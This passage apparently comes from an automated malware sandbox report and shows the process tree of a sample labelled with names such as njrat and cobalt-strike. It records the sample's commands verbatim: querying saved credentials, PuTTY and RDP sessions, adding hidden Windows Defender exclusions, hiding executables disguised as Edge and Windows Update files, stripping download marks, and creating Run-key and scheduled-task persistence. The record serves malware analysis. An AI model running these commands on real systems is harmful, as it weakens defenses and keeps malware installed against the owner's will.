    PID:3496
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:4756
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:1416
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:2580
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5112
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:4000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:5032
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:1648
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:1496
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:1960
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1980
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:1840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:1364
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1956
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:2380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:4352
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:4632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Hide Artifacts: Ignore Process Interrupts
      PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4048
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:1596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1976
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2284
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:1292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3144
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3728
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe"
    3⤵
    - Views/modifies file attributes
    PID:4848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3708
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:3228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2444
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:1616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3204
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:1396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4524
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe"
    3⤵
    - Views/modifies file attributes
    PID:2224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:3216
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:1920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:1392
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:4080
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:4680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:5024
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:2908
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:2060
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:5100
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:4760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:3912
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:4944
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:4520
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780278433381.xml" /f"
  2⤵
  PID:4872
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780278433381.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3572
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4072
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780278433631.xml" /f"
  2⤵
  PID:3876
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780278433631.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4584
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1984
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2960
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1292
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780278433772.xml" /f"
  2⤵
  PID:1968
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780278433772.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3548
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:3924
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780278433944.xml" /f"
  2⤵
  PID:2104
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780278433944.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4504
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:8
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780278434100.xml" /f"
  2⤵
  PID:4908
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780278434100.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4848
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1224
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:4724
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:2492
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:3740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:564
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3248
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:3992
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:2436
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:3516
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f"
  2⤵
  PID:1756
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
    3⤵
    PID:936
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_4" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:5032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:2744
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Temp\2026-06-01_c7daab35ec532d86d81f5d6bfbad9200_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe:Zone.Identifier"
    3⤵
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1628
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:1820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4508
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:3084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:844
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2968
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:1416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1516
- - C:\Windows\system32\cmd.exe
